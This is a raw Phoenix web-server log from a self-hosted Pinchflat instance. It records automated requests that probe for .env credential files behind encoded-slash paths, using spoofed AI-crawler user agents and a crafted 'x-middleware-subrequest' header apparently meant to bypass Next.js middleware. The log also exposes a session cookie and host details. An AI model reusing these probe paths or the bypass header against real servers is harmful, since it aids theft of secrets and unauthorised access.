:init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29478.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin%2F.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33192}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin%2F (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29478.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin%2F.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33192}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefine (truncated) 16:49:03.260 [info] GET /dashboard%2F.env 16:49:03.260 [debug] QUERY OK source="settings" db=0.0ms idle=214.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.260 [debug] QUERY OK source="settings" db=0.0ms idle=201.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.260 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:03.260 [error] #PID<0.29481.0> running PinchflatWeb.Endpoint (connection #PID<0.29480.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /dashboard%2F.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard%2F (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29480.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard%2F.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33204}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29481.0>, params: %{}, path_info: ["dashboard%2F"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/dashboard%2F.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61LTS_ykmZjYABvVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29480.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard%2F.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33204}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard%2F (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29480.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard%2F.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33204}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, q (truncated) 16:49:03.269 [info] GET /api%2F.env 16:49:03.269 [debug] QUERY OK source="settings" db=0.0ms idle=210.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.269 [debug] QUERY OK source="settings" db=0.0ms idle=15.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.269 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:03.270 [error] #PID<0.29483.0> running PinchflatWeb.Endpoint (connection #PID<0.29482.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api%2F.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api%2F (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29482.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api%2F.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33206}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29483.0>, params: %{}, path_info: ["api%2F"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api%2F.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61LVgG6S3YaYABvVh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29482.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api%2F.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33206}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api%2F (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29482.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api%2F.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33206}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host (truncated) 16:49:03.343 [info] GET /sources 16:49:03.343 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 16:49:03.343 [debug] QUERY OK source="settings" db=0.1ms idle=89.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.343 [debug] QUERY OK source="settings" db=0.0ms idle=83.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.344 [debug] QUERY OK source="settings" db=0.0ms idle=83.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.344 [debug] QUERY OK source="settings" db=0.0ms idle=74.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.344 [debug] QUERY OK source="settings" db=0.0ms idle=74.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.354 [info] GET /settings%2F.env 16:49:03.354 [debug] QUERY OK source="settings" db=0.2ms idle=10.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.354 [debug] QUERY OK source="settings" db=0.1ms idle=10.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:03.354 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:03.354 [error] #PID<0.29487.0> running PinchflatWeb.Endpoint (connection #PID<0.29486.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /settings%2F.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /settings%2F (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29486.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/settings%2F.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33234}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29487.0>, params: %{}, path_info: ["settings%2F"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/settings%2F.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Lpoas6sk6QABvXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29486.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/settings%2F.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33234}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /settings%2F (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29486.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/settings%2F.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33234}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => 